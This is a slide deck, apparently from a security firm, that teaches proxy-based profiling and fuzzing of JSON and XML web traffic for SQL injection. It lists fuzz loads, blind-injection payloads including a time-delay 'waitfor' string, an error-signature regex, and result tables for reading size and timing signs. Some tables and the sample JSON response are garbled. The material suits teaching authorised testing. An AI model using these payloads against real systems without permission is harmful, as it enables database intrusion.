Web 2.0 Tools Usage & Understanding

- Web2Proxy
- Web2Fuzz
Web2Proxy

• Objectives

- Analyzing Web 2.0 streams (XML, JSON, JS-Objects etc.)
- Running application through the tools and capturing or trapping those requests
- Profiling requests and responses
- Determining entry points and various attributes of response like hidden fields, login forms etc.
How it works?

• Start Web2Proxy and define your scan name and listening port
• Setup that port as proxy in your browser
• Now browse your target application
• Web2Proxy will be tunneling all requests and response at the same time profile each of them
• You get nice profiled view on application window
Setting a scan

Define new scan
Enter name and listening port address
Set that port on browser

Configure Proxies to Access the Internet
- No proxy
- Auto-detect proxy settings for this network
- Manual proxy configuration:
  - HTTP Proxy: localhost
  - Port: 8080
  - Use this proxy server for all protocols
  - SSL Proxy:
  - Port: 
  - FTP Proxy:
  - Port: 
  - Gopher Proxy:
  - Port: 
  - SOCKS Proxy:
  - Port: 
  - SOCKS v4
  - SOCKS v5
  - No Proxy for: localhost, 127.0.0.1
  - Example: .mozilla.org, .net.nz, 192.168.1.0/24
Start your proxy

Start and stop your Proxy and Filtering

Use this if you want to Trap requests run time

© Blueinfy Solutions Pvt. Ltd.
Profile of application

JSON input and output
XML analysis

XML stream as Output
Fuzzing

• Fuzzing JSON or XML streams
  - Two aspects of fuzzing – Injection and Response Analysis
  - Injecting malicious payload with different variants encompassing encoding
  - Analyzing responses coming from application
  - Both HTTP header as well as body may contain clues for possible vulnerabilities
Response Analytics

- Response can be analyzed in following three important dimensions
  - Vulnerability Signature
  - Structure analysis
  - Application behavior
Web2Fuzz

• Fuzzing tool
  - Pass on JSON or XML stream to application
  - Define your load
  - Select your encoding/ency
  - Pass on regex for vulnerability signatures
  - Start fuzzing
  - Do response analysis
Fuzzing Analytics

- Following analysis is supported by the tool
- Signature
  - Using regex patterns
- Structure
  - Checking page’s MD5
- Behavior
  - Size of the stream
  - Response time analysis
JSON Fuzzing for SQL

- Here is simple list of fuzz load
  - `'`
  - `''`
  - `--`
  - `#`
  - `a`
  - `1`
  - `-1`
  - `100000000000000000`
  - `@`
  - `?`
  - `%c0%a7`
  - `%C0%A2`
Look for regex…

• .*?(sqlexception|syntax|error|exception|sql|DB2|Oracle|MySQL|SqlServer|ODBC|OL|EDB|exception).*?
Snap...

![WebFuzz screenshot](image)

<table>
<thead>
<tr>
<th>No.</th>
<th>Response Time</th>
<th>Response Code</th>
<th>Response Length</th>
<th>Signature (MD5)</th>
<th>Payload</th>
<th>Pattern Found</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>00:00:00.05</td>
<td>200</td>
<td>105</td>
<td>7623653572535929272396246b...</td>
<td>tid1 not new, &quot;id&quot;&quot;&quot;1000&quot;...</td>
<td></td>
</tr>
<tr>
<td>2</td>
<td>00:00:00.01</td>
<td>200</td>
<td>105</td>
<td>7623653572535929272396246b...</td>
<td>tid1 not new, &quot;id&quot;&quot;&quot;1000&quot;...</td>
<td></td>
</tr>
<tr>
<td>3</td>
<td>00:00:00.01</td>
<td>200</td>
<td>105</td>
<td>11813135623232569198bb6216...</td>
<td>tid1 not new, &quot;id&quot;&quot;&quot;1000&quot;...</td>
<td></td>
</tr>
<tr>
<td>4</td>
<td>00:00:00.01</td>
<td>200</td>
<td>105</td>
<td>be5357a65e20e06312c67a...</td>
<td>tid1 not new, &quot;id&quot;&quot;&quot;1000&quot;...</td>
<td></td>
</tr>
<tr>
<td>5</td>
<td>00:00:00.01</td>
<td>200</td>
<td>105</td>
<td>2a6954e279a63731b7b...</td>
<td>tid1 not new, &quot;id&quot;&quot;&quot;1000&quot;...</td>
<td></td>
</tr>
</tbody>
</table>
Snap...
Blind SQL over JSON

• Here is a sample fuzz load
  - "1 OR 1=1"
  - "1 AND 1=1"
  - "a AND 1=0"
  - "1;waitfor delay '0:0:10'"
Analyzing responses

• Here is the output

Fuzzing
Request
Content-Type: text/plain; charset=utf-8

Product: getProduct
Referer:
Content-Length: 51
Pragma: no-cache
Cache-Control: no-cache

{"id":5,"method":"getProduct","params":{"id": #fuzz#}}

Note: Use #fuzz# at the fuzzing point

Responses
Expires: 1
Content-Type: text/plain; charset=utf-8
Content-Length: 90

{"id":5,"result":{"Products"}:"columns":
["product_id","product_name","product_desc_summary","product_desc","product_price","image_path","rebates_file"],"rows":
["Finding Nemo","Adventure / Animation / Comedy / Family","There are 3.7 trillion fish in the ocean, they're looking for one. The Academy Award-winning creators of TOY STORY, A BUG'S LIFE, and MONSTERS, INC. dive into a whole new world with this underwater adventure. The film follows the comedic and eventful journeys of two fish - Marlin and his son Nemo - who become separated in the Great Barrier Reef when Nemo is unexpectedly taken far from home and thrust into a fish tank in a dentist's office overlooking Sydney harbor. Buoyed by the companionship of a friendly-but-forgetful fish named Dorie, the overly cautious lather embarks on a dangerous trek and finds himself the unlikely hero of an epic journey to rescue his son - who hatches a few daring plans of his own to return safely home."],14.99,"nemo"}],"[]"]}

<table>
<thead>
<tr>
<th>No.</th>
<th>Response Time</th>
<th>Response Code</th>
<th>Response Length</th>
<th>Signature (MD5#)</th>
<th>Payload</th>
<th>Pattern Found</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>00:00:00:28</td>
<td>200</td>
<td>5300</td>
<td>5243c0be175156e7a9d83d9a3e3...</td>
<td>&quot;OR 1=1&quot;</td>
<td></td>
</tr>
<tr>
<td>2</td>
<td>00:00:00:33</td>
<td>200</td>
<td>990</td>
<td>#f65ecba279ac01823f6a76d15...</td>
<td>&quot;AND 1=1&quot;</td>
<td></td>
</tr>
<tr>
<td>3</td>
<td>00:00:00:31</td>
<td>200</td>
<td>149</td>
<td>#3395a3814e5869d1a1557e8476...</td>
<td>&quot;AND 1=6&quot;</td>
<td></td>
</tr>
<tr>
<td>4</td>
<td>00:00:10:14</td>
<td>200</td>
<td>390</td>
<td>#f65ecba279ac01823f6a76d15...</td>
<td>&quot;wait for delay 0.0...</td>
<td></td>
</tr>
</tbody>
</table>
Response size

Length is large in OR operation – Indicating something
MD5 of AND operations are different – indicates possible blind spot

© Blueinfy Solutions Pvt. Ltd.
Response time

Delay of 10 seconds – injection is successful...

<table>
<thead>
<tr>
<th>No</th>
<th>Response Time</th>
<th>Response Code</th>
<th>Response Length</th>
<th>Signature (MD5#)</th>
<th>Payload</th>
<th>Pattern Found</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>00:00:00.28</td>
<td>200</td>
<td>5200</td>
<td>5E48ebebe775935b93d3d66a3...</td>
<td>&quot;1 OR =1&quot;</td>
<td></td>
</tr>
<tr>
<td>2</td>
<td>00:00:00.03</td>
<td>200</td>
<td>980</td>
<td>8195ed2b279ac81823f6a70fd16...</td>
<td>&quot;1 AND =1&quot;</td>
<td></td>
</tr>
<tr>
<td>3</td>
<td>00:00:10.01</td>
<td>200</td>
<td>118</td>
<td>0005ac306c0590c1265b375c4...</td>
<td>&quot;AND = 0&quot;</td>
<td></td>
</tr>
<tr>
<td>4</td>
<td>00:00:10.14</td>
<td>200</td>
<td>980</td>
<td>8195ed2b279ac81823f6a70fd16...</td>
<td>&quot;1;waitfor delay '0:0:...&quot;</td>
<td></td>
</tr>
</tbody>
</table>
Thanks!

Blueinfy Solutions Pvt. Ltd.

INDIA
8/B Shitalbaug society, Paldi
Ahmedabad 380007
Tel: 91+9879027018

USA
900 S. Cardiff Street,
Anaheim, CA 92806
Tel. 714-656-3652

Email: contact@blueinfy.com